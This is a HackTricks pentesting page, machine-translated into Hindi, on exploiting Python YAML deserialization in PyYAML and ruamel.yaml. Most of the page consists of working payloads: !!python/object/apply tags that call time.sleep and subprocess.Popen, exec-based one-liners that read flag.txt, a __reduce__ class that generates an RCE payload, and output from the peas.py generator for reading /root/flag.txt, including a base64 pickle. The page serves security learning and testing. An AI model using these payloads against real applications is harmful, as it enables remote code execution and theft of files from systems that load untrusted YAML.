hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

12 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Yaml डिसीरियलाइज़ेशन

Yaml पायथन पुस्तकालयों के द्वारा केवल कच्चे डेटा को ही नहीं, बल्कि पायथन ऑब्जेक्ट्स को भी सीरीयलाइज़ करने के लिए सक्षम है:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

जांचें कि tuple एक रॉ डेटा प्रकार नहीं है और इसलिए इसे सीरीयलाइज़ किया गया था। और यही हुआ range के साथ भी (बिल्टिन्स से लिया गया)।

safe_load() या safe_load_all() SafeLoader का उपयोग करता है और क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन का समर्थन नहीं करता। क्लास ऑब्जेक्ट डेसीरियलाइज़ेशन उदाहरण:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

पिछला कोड unsafe_load का उपयोग करता है ताकि सीरीयलाइज़ किए गए पायथन क्लास को लोड कर सके। यह इसलिए है क्योंकि संस्करण >= 5.1 में, यह लोड() या Loader=SafeLoader में निर्दिष्ट नहीं करता है, इसलिए किसी भी सीरीयलाइज़ किए गए पायथन क्लास या क्लास एट्रिब्यूट को डिसीरियलाइज़ करने की अनुमति नहीं देता है।

मूल अभिक्रिया

एक उदाहरण जिसमें नींद को निष्पादित करने के लिए कैसे उपयोग करें:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

लोडर के बिना संकटपूर्ण .load("<सामग्री>")

पुराने संस्करणों में pyyaml खुलवाने के समय आप लोड करते समय लोडर की विशेष निर्दिष्टि नहीं करते थे तो वह असुरक्षित थे: yaml.load(data)

आप यहां संकट का विवरण यहां पा सकते हैं. उस पृष्ठ में प्रस्तावित शोषण है:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

या आप इस एक-लाइनर का उपयोग कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

नोट करें कि हाल के संस्करणों में आप अब .load() को बिना Loader के नहीं कह सकते हैं और FullLoader इस हमले के प्रति अब सुरक्षित है

RCE

कृपया ध्यान दें कि पेलोड निर्माण किसी भी पायथन YAML मॉड्यूल (PyYAML या ruamel.yaml), उसी तरीके से किया जा सकता है। एक ही पेलोड YAML मॉड्यूल या PyYAML या ruamel.yaml पर आधारित किसी भी मॉड्यूल को शोषित कर सकता है।

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

यात्रा उत्पन्न करने के लिए टूल

टूल https://github.com/j0lt-github/python-deserialization-attack-payload-generator का उपयोग करके पायथन डीसीरियलाइज़ेशन पेलोड उत्पन्न किए जा सकते हैं ताकि Pickle, PyYAML, jsonpickle और ruamel.yaml का दुरुपयोग किया जा सके:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

संदर्भ

इस तकनीक के बारे में अधिक जानकारी के लिए पढ़ें: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥